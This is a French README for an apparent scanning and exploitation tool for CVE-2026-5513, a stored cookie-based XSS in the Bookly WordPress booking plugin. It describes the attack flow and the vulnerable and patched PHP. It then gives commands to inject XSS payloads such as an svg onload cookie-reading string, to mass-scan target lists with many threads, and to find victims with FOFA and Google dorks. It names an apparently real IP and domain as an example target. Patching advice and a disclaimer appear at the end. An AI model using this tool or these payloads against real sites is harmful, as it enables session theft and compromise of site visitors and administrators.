
CVE-2026-5513 : Bookly <= 27.2 XSS stocké via Cookie (non authentifié)
| Champ | Valeur |
|---|
| CVE ID | CVE-2026-5513 |
| Vulnérabilité | Stored Cross-Site Scripting (XSS) |
| Plugin | Bookly — Système de réservation et de planification de rendez-vous en ligne |
| Versions affectées | ≤ 27.2 |
| Version corrigée | 27.3+ |
| CVSS 3.1 | 7.2 (Élevé) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| CWE | CWE-79 |
| Authentification requise | Aucune |
| Prérequis | L'option Se souvenir des informations personnelles dans les cookies doit être activée (désactivée par défaut) |
Le plugin Bookly pour WordPress est vulnérable au Cross-Site Scripting stocké via le cookie bookly-customer-full-name dans les versions jusqu'à 27.2 comprise, en raison d'une insuffisance de nettoyage des entrées et d'échappement des sorties.
Lorsque le paramètre « Se souvenir des informations personnelles dans les cookies » est activé, le plugin lit la valeur du cookie bookly-customer-full-name et la restitue directement dans le HTML du formulaire de réservation sans échappement approprié. Un attaquant non authentifié peut injecter des charges utiles JavaScript arbitraires via ce cookie, qui s'exécutent lorsque tout utilisateur (y compris les administrateurs) consulte une page contenant le formulaire de réservation Bookly.
Attacker → Set malicious cookie (bookly-customer-full-name=<script>...</script>)
→ Visit page with Bookly booking form
→ Plugin reads cookie, renders value without escaping
→ XSS payload executes in victim's browser context
// VULNÉRABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name']; // Aucun nettoyage
echo '<input type="text" value="' . $full_name . '" />'; // Aucun échappement
// CORRIGÉ — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';
✓ Sondage automatique IP/Domaine (HTTP/HTTPS, ports courants, détection de redirection)
✓ Détection des plugins WordPress et Bookly avec vérification de version
✓ Détection du paramètre de cookie (analyse JS BooklyL10n + réflexion canari)
✓ Tests XSS multi-contextes (HTML, JavaScript, injection d'attribut)
✓ Injection de charge utile avec vérification de réflexion
✓ Cible unique ou analyse en masse depuis un fichier
✓ Analyse multi-threadée (jusqu'à 20 threads)
✓ Support proxy (Burp, etc.)
✓ Sauvegarde automatique des résultats vulnérables
✓ Menu interactif + modes CLI
pip install requests colorama
# Vérifier une cible unique
python CVE-2026-5513.py -u https://target.com -v
# Vérifier une IP unique (sondage automatique des ports + redirections)
python CVE-2026-5513.py -u 167.99.0.203 -v
# Vérifier + injecter la charge utile XSS
python CVE-2026-5513.py -u https://target.com --inject -v
# Charge utile XSS personnalisée
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"
# Analyse en masse depuis un fichier
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt
# Avec proxy Burp
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080
python CVE-2026-5513.py
| Option | Description |
|---|---|
-u URL | Cible unique (URL, domaine ou IP) |
-l FICHIER | Fichier contenant une liste de cibles (une par ligne) |
--inject | Injecter la charge utile XSS (par défaut : vérification uniquement) |
--payload CHAÎNE | Charge utile XSS personnalisée |
-t N | Nombre de threads (par défaut : 10, max : 20) |
--proxy URL | Proxy HTTP (ex. http://127.0.0.1:8080) |
-o FICHIER | Enregistrer les résultats dans un fichier |
-v | Sortie verbeuse |
L'outil accepte n'importe lequel de ces formats dans -u ou dans le fichier de liste de cibles :
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080
Pour les IP nues, l'outil automatiquement :
167.99.0.203 → https://book.repairrite.com)/wp/, /blog/, /wordpress/, etc.)STEP 0 → Probe target (IP/domain → resolve base URL, detect redirects)
STEP 1 → Detect Bookly plugin (readme.txt, plugin dir, assets, version check)
STEP 2 → Check cookie setting (BooklyL10n JS analysis + canary reflection test)
STEP 3 → Test XSS reflection (HTML context, JS context, attribute context)
STEP 4 → Inject payload (if --inject mode, verify reflection)
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"
# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"
| Priorité | Action |
|---|---|
| 🔴 | Mettre à jour Bookly vers la version 27.3+ |
| 🟡 | Désactiver l'option « Se souvenir des informations personnelles dans les cookies » dans Bookly Paramètres → Général |
| 🟢 | Déployer des règles WAF pour filtrer les XSS dans les valeurs des cookies |
| 🟢 | Implémenter des en-têtes Content-Security-Policy (CSP) |
Cet outil est fourni à des fins de tests de sécurité autorisés et d'éducation uniquement. L'accès non autorisé aux systèmes informatiques est illégal. Obtenez toujours une autorisation appropriée avant de tester. L'auteur n'est pas responsable de toute utilisation abusive de cet outil.
MIT